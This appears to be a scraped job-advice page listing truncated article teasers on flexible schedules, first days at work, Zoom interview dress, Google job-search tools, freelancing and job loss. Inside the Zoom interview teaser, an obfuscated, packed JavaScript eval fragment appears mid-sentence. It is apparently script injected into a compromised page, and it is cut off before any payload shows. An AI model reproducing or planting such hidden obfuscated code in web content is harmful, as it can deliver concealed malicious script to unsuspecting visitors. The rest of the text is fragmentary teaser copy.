How to Ask for a Flexible Work Schedule

It can be a challenge to balance our personal life with our work responsibilities. We often have personal issues which arise that require us to be available during traditional business hours. Maybe you need to be home to care for a child when she’s sick or after school, accompany aging parents to doctor’s appointments, carry out community service projects or even to pursue a hobby. Because of these other commitments and responsibilities, many workers...

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How to Have a Successful First Day at Work

First impressions tend to stick. If you’re starting a new job, it’s wise to put your best foot forward so that you form a trusting connection with your manager and co-workers early on. Remember that lots of eyes are usually on the new person. Here are tips for landing a solid first impression on your first day of work, and getting your new job off to a great start. 9 Tips for Your First Day at a New Job 1. Dress for your workplace Choose an...

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How to Dress for a Zoom Job Interview

With more companies conducting job interviews over Zoom and other video platforms, choosing an outfit has become a whole new ballgame. What looks good in person may look like a sloppy nightmare in video calls. Job seekers are learning how to style themselves from scratch. eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new...

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The Best Google Tools for Job Seekers

There is an almost overwhelming number of job search sites, tools, and apps you can use to job search, but you don’t have to use any of them to get hired. If you’re interested in a streamlined, back-to-basics job search, almost all you need is Google. Google has free tools and resources to help you with every step of the job search process and beyond. Google Tools for Job Searching You’ll be able to use Google to do everything you need to start...

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Free Interview Practice Tools

When you start a job search, it’s a good idea to get ready to interview—even before you’ve been selected to meet with a company. A successful interview will be essential for you to lock in a job offer, and this is your chance to impress the interviewer enough to get a second interview or even an offer. Taking some time to prepare will help you avoid interview stress, especially if you’re asked to interview on short notice. Having interview clothes...

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4 Quick Tips To Improve Your Interview Skills

Job interviews are an opportunity for employers to assess the candidate pool and find the best available talent for their company. They are also an opportunity to put your best foot forward, evaluate prospective employers, and find a job you love. How do you stand out in the interview process? What can you do to take your interview skills to the next level? Are there mistakes you should avoid when interviewing? Below are four tips to quickly improve...

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How Find Start-Up Money for Your Freelance Career

You’ve heard the advice, ad nauseam: if you want to turn freelancing into a career, you need to have three to six months of expenses saved up, plus start-up costs, before you take the leap. That sounds practical, but how are you, a normal working person—not a lottery winner or a trust-fund baby—supposed to make that happen?  By using the smarts that will make you a success once you’re a full-time freelancer, you can find the funding you need....

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How to Become a Successful Freelancer

Are you interested in becoming a freelancer? Freelancing isn’t all working in your pajamas and cashing client checks. If you want to escape the rat race for good, you need to make sure that you’re prepared for both good times and bad. Back your passion with the right preparation, and you’ll never have to go back to working under those buzzing fluorescent lights ever again. Here’s what you need to get started. 10 Things You Need to Start Working as...

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5 Back-to-Basics Job Search Tips

Looking for a job right now? If so, you’re probably getting plenty of advice. From old friends and colleagues to experts on social media, there are plenty of folks out there who want to guide your search. The problem is that even well-intentioned insights can be less than helpful if they don’t apply to your situation or goals. Further, you only have so much time to devote to a job search—without cloning yourself, you can’t possibly do everything...

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What to Do When You Lose Your Job

One of the worst things that can happen from a career perspective is to lose your job. That’s especially true when it’s unexpected and not your fault. On the flip side, one of the best things that can happen from a career perspective is to lose your job, even when it doesn’t feel like anything remotely positive at the moment. Even though it hurt at the time, for me, unexpectedly losing my job gave me the push I needed to move my career down a different...

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How to Find the Best Boss

Working for the right boss (or the wrong one) can make a huge difference in how you feel about your job and the company you’re working for. One of the keys to job satisfaction is the quality of the relationship between employees and their supervisors, and one of the most important career decisions that you’ll ever make is selecting your next boss. And, yes, you do get to choose. Not being comfortable with the team you’d be working on and your prospective...

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